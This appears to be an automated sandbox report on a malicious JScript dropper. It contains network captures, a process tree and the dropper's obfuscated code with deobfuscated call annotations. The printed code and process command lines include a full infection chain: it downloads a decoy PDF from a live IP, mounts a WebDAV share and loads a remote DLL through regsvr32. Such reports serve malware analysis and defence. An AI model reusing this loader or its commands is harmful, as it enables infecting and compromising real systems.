Jan 10, 2025 17:24:45.320758104 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 17:24:45.320768118 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 17:24:45.320779085 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 17:24:45.325957060 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	1668	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:24:46.978910923 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:24:47.803637981 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:24:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:24:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js"
Imagebase:	0x7ff7acd10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:24:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll
Imagebase:	0x7ff7b8b80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:24:37
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:24:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:24:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:24:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b8b80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:24:45
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7325e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:24:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:24:46
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:24:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1616,i,13284928006663200886,9743966577043806291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bpkzy() {	bpkzy() ➔ undefined
1	zkzagpbo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pywelfary = this[qlugfh + utmmqfay + iqgqscsih + kgtwh + ovcqabve + voqal + yekojo + kfowzm] ( this[ehzpxyqdt + tliwgykim + jkuxyvvk + iqgqscsih + slusjx + qlugfh + kfowzm][muufytpl + iqgqscsih + ovcqabve + utmmqfay + kfowzm + ovcqabve + yrwyor + obcbiplt + uzfwtfzr + ovcqabve + jkuxyvvk + kfowzm] ( ehzpxyqdt + tliwgykim + jkuxyvvk + iqgqscsih + slusjx + qlugfh + kfowzm + ptnjuhmy + tliwgykim + lwvxbcwb + ovcqabve + pdswwnfg + pdswwnfg ) [pujehdje + ovcqabve + celiqui + pujehdje + ovcqabve + utmmqfay + oonevs] ( wzzfelwdw + krdvmzkgo + xcvsjk + wtqdu + dkykfudyg + muufytpl + tlolvakm + pujehdje + pujehdje + xcvsjk + rwkhae + nwudp + dkykfudyg + tlolvakm + tliwgykim + xcvsjk + pujehdje + vpvmrw + muufytpl + lopih + yekojo + kfowzm + iqgqscsih + lopih + pdswwnfg + afalztdtn + mbefqjdc + utmmqfay + yekojo + ovcqabve + pdswwnfg + vpvmrw + voqal + yekojo + kfowzm + ovcqabve + iqgqscsih + yekojo + utmmqfay + kfowzm + slusjx + lopih + yekojo + utmmqfay + pdswwnfg + vpvmrw + yfrteje + lopih + jkuxyvvk + utmmqfay + pdswwnfg + ovcqabve ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pkwag = 0 ; pkwag < zkzagpbo[pdswwnfg + ovcqabve + yekojo + celiqui + kfowzm + lwvxbcwb] ; ++ pkwag )
4	{
5	if ( pywelfary == zkzagpbo[pkwag] )
6	{
7	pywelfary = true;
8	break ;
9	}
10	}
11	if ( pywelfary !== true )
12	this[ehzpxyqdt + tliwgykim + jkuxyvvk + iqgqscsih + slusjx + qlugfh + kfowzm][bzwvqny + dberawjh + slusjx + kfowzm] ( );
13	this[ehzpxyqdt + tliwgykim + jkuxyvvk + iqgqscsih + slusjx + qlugfh + kfowzm][muufytpl + iqgqscsih + ovcqabve + utmmqfay + kfowzm + ovcqabve + yrwyor + obcbiplt + uzfwtfzr + ovcqabve + jkuxyvvk + kfowzm] ( ehzpxyqdt + tliwgykim + jkuxyvvk + iqgqscsih + slusjx + qlugfh + kfowzm + ptnjuhmy + tliwgykim + lwvxbcwb + ovcqabve + pdswwnfg + pdswwnfg ) [iqgqscsih + dberawjh + yekojo] ( jkuxyvvk + hdnjwcn + oonevs + afalztdtn + qpgaijpnt + jkuxyvvk + afalztdtn + qlugfh + lopih + sdfir + ovcqabve + iqgqscsih + kgtwh + lwvxbcwb + ovcqabve + pdswwnfg + pdswwnfg + ptnjuhmy + ovcqabve + arnpgpgpa + ovcqabve + afalztdtn + nzlowqx + muufytpl + lopih + hdnjwcn + hdnjwcn + utmmqfay + yekojo + oonevs + afalztdtn + urxiw + voqal + yekojo + jrqsbc + lopih + qwkxr + ovcqabve + nzlowqx + ehzpxyqdt + ovcqabve + obcbiplt + pujehdje + ovcqabve + jzbxmpr + dberawjh + ovcqabve + kgtwh + kfowzm + afalztdtn + nzlowqx + yrwyor + dberawjh + kfowzm + apocwht + slusjx + pdswwnfg + ovcqabve + afalztdtn + xeuwfp + kfowzm + ovcqabve + hdnjwcn + qlugfh + xeuwfp + vpvmrw + slusjx + yekojo + jrqsbc + lopih + slusjx + jkuxyvvk + ovcqabve + ptnjuhmy + qlugfh + oonevs + jccqffwdx + afalztdtn + lwvxbcwb + kfowzm + kfowzm + qlugfh + ktxmn + qpgaijpnt + qpgaijpnt + bsnsjov + gypvovv + wgvsfqchz + ptnjuhmy + bsnsjov + sqtyofe + wgvsfqchz + ptnjuhmy + bsnsjov + ptnjuhmy + kxvwqzg + gbojdzzhp + pimvni + qpgaijpnt + slusjx + yekojo + jrqsbc + lopih + slusjx + jkuxyvvk + ovcqabve + ptnjuhmy + qlugfh + lwvxbcwb + qlugfh + urxiw + ekjbyfok + ekjbyfok + kgtwh + kfowzm + utmmqfay + iqgqscsih + kfowzm + afalztdtn + xeuwfp + kfowzm + ovcqabve + hdnjwcn + qlugfh + xeuwfp + vpvmrw + slusjx + yekojo + jrqsbc + lopih + slusjx + jkuxyvvk + ovcqabve + ptnjuhmy + qlugfh + oonevs + jccqffwdx + ekjbyfok + ekjbyfok + jkuxyvvk + hdnjwcn + oonevs + afalztdtn + qpgaijpnt + jkuxyvvk + afalztdtn + yekojo + ovcqabve + kfowzm + afalztdtn + dberawjh + kgtwh + ovcqabve + afalztdtn + vpvmrw + vpvmrw + bsnsjov + gypvovv + wgvsfqchz + ptnjuhmy + bsnsjov + sqtyofe + wgvsfqchz + ptnjuhmy + bsnsjov + ptnjuhmy + kxvwqzg + gbojdzzhp + pimvni + iynpaduoa + hbmoixhw + hbmoixhw + hbmoixhw + hbmoixhw + vpvmrw + oonevs + utmmqfay + jrqsbc + sdfir + sdfir + sdfir + iqgqscsih + lopih + lopih + kfowzm + vpvmrw + ekjbyfok + ekjbyfok + jkuxyvvk + hdnjwcn + oonevs + afalztdtn + qpgaijpnt + jkuxyvvk + afalztdtn + iqgqscsih + ovcqabve + celiqui + kgtwh + jrqsbc + iqgqscsih + wgvsfqchz + kxvwqzg + afalztdtn + qpgaijpnt + kgtwh + afalztdtn + vpvmrw + vpvmrw + bsnsjov + gypvovv + wgvsfqchz + ptnjuhmy + bsnsjov + sqtyofe + wgvsfqchz + ptnjuhmy + bsnsjov + ptnjuhmy + kxvwqzg + gbojdzzhp + pimvni + iynpaduoa + hbmoixhw + hbmoixhw + hbmoixhw + hbmoixhw + vpvmrw + oonevs + utmmqfay + jrqsbc + sdfir + sdfir + sdfir + iqgqscsih + lopih + lopih + kfowzm + vpvmrw + kxvwqzg + hbmoixhw + gypvovv + bsnsjov + wgvsfqchz + kxvwqzg + gypvovv + wgvsfqchz + ejvzdg + gypvovv + wgvsfqchz + bsnsjov + glvyxxii + ejvzdg + pimvni + ptnjuhmy + oonevs + pdswwnfg + pdswwnfg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll",0,false) ➔ 0
14	}
15	urxiw = "d";
16	urxiw = "m";
17	urxiw = "p";
18	urxiw = "I";
19	urxiw = "M";
20	urxiw = "e";
21	urxiw = "F";
22	urxiw = "Z";
23	urxiw = "E";
24	urxiw = "N";
25	urxiw = "b";
26	urxiw = "b";
27	urxiw = "r";
28	urxiw = "x";
29	urxiw = "Z";
30	urxiw = "o";
31	urxiw = "k";
32	urxiw = "L";
33	urxiw = "Z";
34	urxiw = "Z";
35	urxiw = "k";
36	urxiw = "d";
37	urxiw = "b";
38	urxiw = "o";
39	urxiw = "N";
40	urxiw = "i";
41	urxiw = "s";
42	urxiw = "A";
43	urxiw = "\"";
44	qwkxr = "V";
45	qwkxr = "h";
46	qwkxr = "p";
47	qwkxr = "A";
48	qwkxr = "Z";
49	qwkxr = "E";
50	qwkxr = "q";
51	qwkxr = "L";
52	qwkxr = "f";
53	qwkxr = "T";
54	qwkxr = "G";
55	qwkxr = "v";
56	qwkxr = "P";
57	qwkxr = "y";
58	qwkxr = "l";
59	qwkxr = "j";
60	qwkxr = "k";
61	kxvwqzg = "N";
62	kxvwqzg = "F";
63	kxvwqzg = "a";
64	kxvwqzg = "M";
65	kxvwqzg = "H";
66	kxvwqzg = "W";
67	kxvwqzg = "t";
68	kxvwqzg = "W";
69	kxvwqzg = "q";
70	kxvwqzg = "2";
71	kfowzm = "R";
72	kfowzm = "i";
73	kfowzm = "v";
74	kfowzm = "G";
75	kfowzm = "q";
76	kfowzm = "d";
77	kfowzm = "N";
78	kfowzm = "s";
79	kfowzm = "y";
80	kfowzm = "X";
81	kfowzm = "q";
82	kfowzm = "o";
83	kfowzm = "r";
84	kfowzm = "g";
85	kfowzm = "v";
86	kfowzm = "H";
87	kfowzm = "K";
88	kfowzm = "g";
89	kfowzm = "X";
90	kfowzm = "b";
91	kfowzm = "e";
92	kfowzm = "j";
93	kfowzm = "B";
94	kfowzm = "B";
95	kfowzm = "k";
96	kfowzm = "B";
97	kfowzm = "h";
98	kfowzm = "w";
99	kfowzm = "D";
100	kfowzm = "t";
101	wzzfelwdw = "b";
102	wzzfelwdw = "z";
103	wzzfelwdw = "L";
104	wzzfelwdw = "R";
105	wzzfelwdw = "K";
106	wzzfelwdw = "U";
107	wzzfelwdw = "H";
108	yrwyor = "y";
109	yrwyor = "z";
110	yrwyor = "n";
111	yrwyor = "u";
112	yrwyor = "N";
113	yrwyor = "X";
114	yrwyor = "u";
115	yrwyor = "O";
116	arnpgpgpa = "u";
117	arnpgpgpa = "X";
118	arnpgpgpa = "z";
119	arnpgpgpa = "k";
120	arnpgpgpa = "f";
121	arnpgpgpa = "X";
122	arnpgpgpa = "M";
123	arnpgpgpa = "z";
124	arnpgpgpa = "C";
125	arnpgpgpa = "K";
126	arnpgpgpa = "Q";
127	arnpgpgpa = "X";
128	arnpgpgpa = "O";
129	arnpgpgpa = "N";
130	arnpgpgpa = "h";
131	arnpgpgpa = "Y";
132	arnpgpgpa = "u";
133	arnpgpgpa = "p";
134	arnpgpgpa = "E";
135	arnpgpgpa = "c";
136	arnpgpgpa = "J";
137	arnpgpgpa = "m";
138	arnpgpgpa = "W";
139	arnpgpgpa = "I";
140	arnpgpgpa = "Z";
141	arnpgpgpa = "Z";
142	arnpgpgpa = "B";
143	arnpgpgpa = "J";
144	arnpgpgpa = "L";
145	arnpgpgpa = "s";
146	arnpgpgpa = "U";
147	arnpgpgpa = "T";
148	arnpgpgpa = "l";
149	arnpgpgpa = "q";
150	arnpgpgpa = "c";
151	arnpgpgpa = "w";
152	arnpgpgpa = "w";
153	arnpgpgpa = "E";
154	arnpgpgpa = "E";
155	arnpgpgpa = "x";
156	pdswwnfg = "k";
157	pdswwnfg = "o";
158	pdswwnfg = "D";
159	pdswwnfg = "I";
160	pdswwnfg = "L";
161	pdswwnfg = "T";
162	pdswwnfg = "j";
163	pdswwnfg = "c";
164	pdswwnfg = "k";
165	pdswwnfg = "G";
166	pdswwnfg = "I";
167	pdswwnfg = "y";
168	pdswwnfg = "x";
169	pdswwnfg = "L";
170	pdswwnfg = "B";
171	pdswwnfg = "m";
172	pdswwnfg = "L";
173	pdswwnfg = "J";
174	pdswwnfg = "F";
175	pdswwnfg = "N";
176	pdswwnfg = "A";
177	pdswwnfg = "v";
178	pdswwnfg = "R";
179	pdswwnfg = "T";
180	pdswwnfg = "c";
181	pdswwnfg = "q";
182	pdswwnfg = "C";
183	pdswwnfg = "D";
184	pdswwnfg = "J";
185	pdswwnfg = "P";
186	pdswwnfg = "L";
187	pdswwnfg = "u";
188	pdswwnfg = "i";
189	pdswwnfg = "k";
190	pdswwnfg = "K";
191	pdswwnfg = "h";
192	pdswwnfg = "H";
193	pdswwnfg = "h";
194	pdswwnfg = "l";
195	gbojdzzhp = "N";
196	gbojdzzhp = "z";
197	gbojdzzhp = "u";
198	gbojdzzhp = "Y";
199	gbojdzzhp = "F";
200	gbojdzzhp = "j";
201	gbojdzzhp = "w";
202	gbojdzzhp = "t";
203	gbojdzzhp = "q";
204	gbojdzzhp = "w";
205	gbojdzzhp = "o";
206	gbojdzzhp = "h";
207	gbojdzzhp = "i";
208	gbojdzzhp = "p";
209	gbojdzzhp = "S";
210	gbojdzzhp = "N";
211	gbojdzzhp = "k";
212	gbojdzzhp = "E";
213	gbojdzzhp = "c";
214	gbojdzzhp = "o";
215	gbojdzzhp = "Q";
216	gbojdzzhp = "H";
217	gbojdzzhp = "K";
218	gbojdzzhp = "s";
219	gbojdzzhp = "q";
220	gbojdzzhp = "0";
221	dberawjh = "m";
222	dberawjh = "b";
223	dberawjh = "u";
224	jzbxmpr = "p";
225	jzbxmpr = "l";
226	jzbxmpr = "r";
227	jzbxmpr = "l";
228	jzbxmpr = "U";
229	jzbxmpr = "K";
230	jzbxmpr = "Q";
231	jzbxmpr = "q";
232	hdnjwcn = "T";
233	hdnjwcn = "x";
234	hdnjwcn = "N";
235	hdnjwcn = "G";
236	hdnjwcn = "i";
237	hdnjwcn = "a";
238	hdnjwcn = "m";
239	obcbiplt = "q";
240	obcbiplt = "Q";
241	obcbiplt = "Y";
242	obcbiplt = "A";
243	obcbiplt = "F";
244	obcbiplt = "x";
245	obcbiplt = "D";
246	obcbiplt = "N";
247	obcbiplt = "x";
248	obcbiplt = "Z";
249	obcbiplt = "q";
250	obcbiplt = "C";
251	obcbiplt = "N";
252	obcbiplt = "T";
253	obcbiplt = "R";
254	obcbiplt = "y";
255	obcbiplt = "Y";
256	obcbiplt = "s";
257	obcbiplt = "k";
258	obcbiplt = "I";
259	obcbiplt = "m";
260	obcbiplt = "b";
261	obcbiplt = "O";
262	obcbiplt = "b";
263	kgtwh = "K";
264	kgtwh = "M";
265	kgtwh = "u";
266	kgtwh = "q";
267	kgtwh = "v";
268	kgtwh = "p";
269	kgtwh = "O";
270	kgtwh = "R";
271	kgtwh = "S";
272	kgtwh = "L";
273	kgtwh = "B";
274	kgtwh = "n";
275	kgtwh = "T";
276	kgtwh = "q";
277	kgtwh = "N";
278	kgtwh = "U";
279	kgtwh = "y";
280	kgtwh = "i";
281	kgtwh = "z";
282	kgtwh = "S";
283	kgtwh = "Y";
284	kgtwh = "e";
285	kgtwh = "K";
286	kgtwh = "K";
287	kgtwh = "o";
288	kgtwh = "W";
289	kgtwh = "e";
290	kgtwh = "C";
291	kgtwh = "n";
292	kgtwh = "h";
293	kgtwh = "d";
294	kgtwh = "A";
295	kgtwh = "T";
296	kgtwh = "G";
297	kgtwh = "x";
298	kgtwh = "v";
299	kgtwh = "s";
300	kgtwh = "n";
301	kgtwh = "t";
302	kgtwh = "s";
303	lwvxbcwb = "n";
304	lwvxbcwb = "S";
305	lwvxbcwb = "y";
306	lwvxbcwb = "Z";
307	lwvxbcwb = "A";
308	lwvxbcwb = "E";
309	lwvxbcwb = "F";
310	lwvxbcwb = "o";
311	lwvxbcwb = "c";
312	lwvxbcwb = "S";
313	lwvxbcwb = "l";
314	lwvxbcwb = "e";
315	lwvxbcwb = "r";
316	lwvxbcwb = "D";
317	lwvxbcwb = "Y";
318	lwvxbcwb = "D";
319	lwvxbcwb = "F";
320	lwvxbcwb = "b";
321	lwvxbcwb = "M";
322	lwvxbcwb = "I";
323	lwvxbcwb = "j";
324	lwvxbcwb = "K";
325	lwvxbcwb = "h";
326	gypvovv = "r";
327	gypvovv = "E";
328	gypvovv = "O";
329	gypvovv = "o";
330	gypvovv = "L";
331	gypvovv = "T";
332	gypvovv = "9";
333	ptnjuhmy = "E";
334	ptnjuhmy = "F";
335	ptnjuhmy = "O";
336	ptnjuhmy = "C";
337	ptnjuhmy = "M";
338	ptnjuhmy = "m";
339	ptnjuhmy = "y";
340	ptnjuhmy = "a";
341	ptnjuhmy = "M";
342	ptnjuhmy = "G";
343	ptnjuhmy = "k";
344	ptnjuhmy = "a";
345	ptnjuhmy = "N";
346	ptnjuhmy = "X";
347	ptnjuhmy = "G";
348	ptnjuhmy = "f";
349	ptnjuhmy = "o";
350	ptnjuhmy = "V";
351	ptnjuhmy = "h";
352	ptnjuhmy = "s";
353	ptnjuhmy = "k";
354	ptnjuhmy = "B";
355	ptnjuhmy = "v";
356	ptnjuhmy = "r";
357	ptnjuhmy = "O";
358	ptnjuhmy = "k";
359	ptnjuhmy = "Q";
360	ptnjuhmy = "Z";
361	ptnjuhmy = "r";
362	ptnjuhmy = "s";
363	ptnjuhmy = "X";
364	ptnjuhmy = "B";
365	ptnjuhmy = "P";
366	ptnjuhmy = "l";
367	ptnjuhmy = "S";
368	ptnjuhmy = "U";
369	ptnjuhmy = "z";
370	ptnjuhmy = ".";
371	ehzpxyqdt = "P";
372	ehzpxyqdt = "B";
373	ehzpxyqdt = "U";
374	ehzpxyqdt = "B";
375	ehzpxyqdt = "t";
376	ehzpxyqdt = "M";
377	ehzpxyqdt = "t";
378	ehzpxyqdt = "d";
379	ehzpxyqdt = "a";
380	ehzpxyqdt = "C";
381	ehzpxyqdt = "k";
382	ehzpxyqdt = "F";
383	ehzpxyqdt = "j";
384	ehzpxyqdt = "a";
385	ehzpxyqdt = "U";
386	ehzpxyqdt = "C";
387	ehzpxyqdt = "K";
388	ehzpxyqdt = "V";
389	ehzpxyqdt = "E";
390	ehzpxyqdt = "g";
391	ehzpxyqdt = "N";
392	ehzpxyqdt = "c";
393	ehzpxyqdt = "g";
394	ehzpxyqdt = "g";
395	ehzpxyqdt = "z";
396	ehzpxyqdt = "K";
397	ehzpxyqdt = "m";
398	ehzpxyqdt = "Q";
399	ehzpxyqdt = "W";
400	nzlowqx = "V";
401	nzlowqx = "p";
402	nzlowqx = "E";
403	nzlowqx = "K";
404	nzlowqx = "l";
405	nzlowqx = "D";
406	nzlowqx = "G";
407	nzlowqx = "b";
408	nzlowqx = "I";
409	nzlowqx = "j";
410	nzlowqx = "Q";
411	nzlowqx = "l";
412	nzlowqx = "K";
413	nzlowqx = "F";
414	nzlowqx = "w";
415	nzlowqx = "j";
416	nzlowqx = "S";
417	nzlowqx = "d";
418	nzlowqx = "F";
419	nzlowqx = "p";
420	nzlowqx = "L";
421	nzlowqx = "S";
422	nzlowqx = "C";
423	nzlowqx = "O";
424	nzlowqx = "p";
425	nzlowqx = "w";
426	nzlowqx = "F";
427	nzlowqx = "J";
428	nzlowqx = "u";
429	nzlowqx = "p";
430	nzlowqx = "e";
431	nzlowqx = "H";
432	nzlowqx = "P";
433	nzlowqx = "W";
434	nzlowqx = "O";
435	nzlowqx = "k";
436	nzlowqx = "F";
437	nzlowqx = "q";
438	nzlowqx = "G";
439	nzlowqx = "U";
440	nzlowqx = "l";
441	nzlowqx = "-";
442	nwudp = "Y";
443	nwudp = "u";
444	nwudp = "Q";
445	nwudp = "e";
446	nwudp = "R";
447	nwudp = "I";
448	nwudp = "R";
449	nwudp = "E";
450	nwudp = "G";
451	nwudp = "H";
452	nwudp = "V";
453	nwudp = "A";
454	nwudp = "B";
455	nwudp = "p";
456	nwudp = "f";
457	nwudp = "Y";
458	nwudp = "a";
459	nwudp = "L";
460	nwudp = "e";
461	nwudp = "Q";
462	nwudp = "Q";
463	nwudp = "V";
464	nwudp = "f";
465	nwudp = "n";
466	nwudp = "W";
467	nwudp = "q";
468	nwudp = "O";
469	nwudp = "p";
470	nwudp = "w";
471	nwudp = "p";
472	nwudp = "T";
473	nwudp = "y";
474	nwudp = "X";
475	nwudp = "c";
476	nwudp = "N";
477	nwudp = "X";
478	nwudp = "u";
479	nwudp = "x";
480	nwudp = "n";
481	nwudp = "s";
482	nwudp = "x";
483	nwudp = "Y";
484	nwudp = "l";
485	nwudp = "h";
486	nwudp = "T";
487	celiqui = "q";
488	celiqui = "E";
489	celiqui = "m";
490	celiqui = "N";
491	celiqui = "N";
492	celiqui = "O";
493	celiqui = "X";
494	celiqui = "V";
495	celiqui = "e";
496	celiqui = "o";
497	celiqui = "U";
498	celiqui = "j";
499	celiqui = "h";
500	celiqui = "y";
501	celiqui = "l";
502	celiqui = "f";
503	celiqui = "k";
504	celiqui = "N";
505	celiqui = "K";
506	celiqui = "p";
507	celiqui = "v";
508	celiqui = "l";
509	celiqui = "X";
510	celiqui = "H";
511	celiqui = "c";
512	celiqui = "u";
513	celiqui = "x";
514	celiqui = "D";
515	celiqui = "i";
516	celiqui = "J";
517	celiqui = "A";
518	celiqui = "x";
519	celiqui = "T";
520	celiqui = "Y";
521	celiqui = "g";
522	slusjx = "i";
523	slusjx = "v";
524	slusjx = "t";
525	slusjx = "E";
526	slusjx = "S";
527	slusjx = "f";
528	slusjx = "H";
529	slusjx = "o";
530	slusjx = "y";
531	slusjx = "K";
532	slusjx = "d";
533	slusjx = "I";
534	slusjx = "y";
535	slusjx = "i";
536	qpgaijpnt = "O";
537	qpgaijpnt = "o";
538	qpgaijpnt = "y";
539	qpgaijpnt = "K";
540	qpgaijpnt = "a";
541	qpgaijpnt = "o";
542	qpgaijpnt = "l";
543	qpgaijpnt = "P";
